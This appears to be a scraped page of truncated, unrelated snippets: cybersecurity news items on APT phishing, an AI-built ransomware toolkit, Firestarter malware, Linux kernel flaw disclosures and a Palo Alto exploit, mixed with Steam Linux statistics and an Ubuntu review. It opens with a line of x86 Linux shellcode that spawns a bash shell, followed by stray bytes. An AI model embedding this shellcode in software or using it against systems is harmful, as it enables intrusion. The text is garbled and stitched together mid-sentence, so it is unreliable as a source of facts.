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shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") \x38\xc7\x57\x6f\x69\x68\x7a ...

Abstract: Advanced Persistent Threat (APT) attacks became a major network threat in recent years. Among APT attack techniques, sending a phishing email with malicious documents attached is considered ...

A threat actor is using an AI-built ransomware attack toolkit that automates Active Directory discovery and helps evade ...

Here's a historical look at the Linux market share on Steam, gathered using Valve's publicly provided data. Be sure to look over all the information, don't just take the first chart. If you have ...

I'd like to thank my co-author, Martin Zugec, for his valuable contributions to this report. This intrusion adds three dimensions to the public understanding of Chinese APT activity in contested ...

Cybersecurity agencies in the U.S. and U.K. are warning about a custom malware called Firestarter persisting on Cisco Firepower and Secure Firewall devices running Adaptive Security Appliance (ASA) or ...

While not as polished as it appears on the surface, the free, highly customizable Ubuntu operating system serves as an excellent introduction to Linux, installing easily and running well. The Laptop ...

2026年4月29日，国际安全研究团队Theori的研究员Taeyang Lee正式公开了代号为Copy ...

2026年5月7日，安全研究领域迎来了一次重大的震荡，安全研究员 Hyunwoo Kim 披露了一种名为“Dirty Frag” 的新型Linux ...

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Palo Alto Networks has disclosed that threat actors may have attempted to unsuccessfully exploit a recently disclosed critical security flaw as early as April 9, 2026. The vulnerability in question is ...